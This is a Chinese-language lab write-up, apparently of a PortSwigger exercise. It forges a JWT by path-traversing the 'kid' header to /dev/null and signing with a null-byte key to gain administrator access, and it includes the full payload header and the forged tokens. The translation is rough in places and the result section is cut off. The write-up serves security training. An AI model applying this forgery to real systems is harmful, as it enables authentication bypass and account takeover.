> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md).

# 通过 kid 路径遍历绕过 JWT 认证

### 通过 kid 头路径遍历绕过 JWT 身份验证

#### 实验上下文

应用程序使用 JWT 来管理会话。为了检查签名，服务器读取 JWT 的头部并从 **文件系统** 基于……的值 `kid` 字段（Key ID）。/问题：该 `kid` 值未被正确验证，从而允许一个 **路径穿越** 指向任意系统文件。

目的：伪造一个 JWT 以获取对 `/admin`，然后删除用户 **carlos**.

#### 起点

连接到 `wiener:peter`后，你会得到一个有效的 JWT：

* 头部： `alg = HS256`, `kid = <uuid>`
* 载荷： `sub = wiener`

```bash
eyJraWQiOiIxZmM4YzUzYS1mMzMwLTRhNGMtODFkOC01ZjNlOGRmMzNkNWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoid2llbmVyIn0.qFrtPadwDKEghfc4hGLNhDQolFAJ6rvPW22120KEGHU
```

<figure><img src="/files/a369c0d96f22579c412f8ce1fc1ba8136083a767" alt=""><figcaption></figcaption></figure>

#### 攻击思路

当 `kid` 作为加载密钥的路径，我们可以尝试将其从预期目录中移出 `../` ，以指向一个特殊文件： **`/dev/null`**.

* `/dev/null` 表现得像一个“空”文件。
* 如果服务器从这个文件加载密钥，它会发现（在这种情况下）用一个等同于 **nul / 空**.

<figure><img src="/files/b1283121c28971fb3fa033563f12e416a7aa3521" alt=""><figcaption></figcaption></figure>

#### 构造对称密钥

你生成一个零字节并将其编码为 Base64：

* 命令：

```bash
echo -ne '/0' | base64

AA==
```

然后你构造一个对称 JWK（`kty: oct`）其密钥（`k`）是 `AA==`:

```json
{
    "kty": "oct",
    "kid": "9c48f618-fb2c-4bf6-85f6-7cb92c0cfa1c",
    "k": "AA=="
}
```

（JWK `kid` 此处仅作为工具侧标识符；这就是 `k` 值。）

<figure><img src="/files/b5c20bfa497dabee76f558bd9dd8559296c27993" alt=""><figcaption></figcaption></figure>

#### 利用： `kid` 遍历到 `/dev/null`

然后你修改 JWT 的头部以指向 `kid` 更改为 `/dev/null` 通过穿越：

```json
{
    "kid": "../../../../../../../../dev/null",
    "alg": "HS256"
}
```

然后你修改 `sub` 载荷中的内容，使其成为管理员账户（在你的情况下 `administrator`）`AA==`).

<figure><img src="/files/f541d30419e2276f248e7f0d6deb142338ea3a1c" alt=""><figcaption></figcaption></figure>

#### 结果

最终伪造的 JWT（你提供的那个）：

* `kid` 穿越直到 `/dev/null`
* `alg` 保持为 `HS256`
* `sub` 变为 `administrator`

```bash
eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.mSLXreEdgmhgAPOPLS9-j7A1VUiRjK-DA1YvGzqsxOo
```

<figure><img src="/files/956e021579c1378e60fc6b0fb4aaa6d1f4ecf003" alt=""><figcaption></figcaption></figure>

服务器\*\*接受\*\*了该令牌：它确认 `kid` 解析是可用的，并且签名检查是使用从目标文件派生的密钥完成的（这里

<figure><img src="/files/a43eae126b4780ac3cfc6aa94de6d2113418c428" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.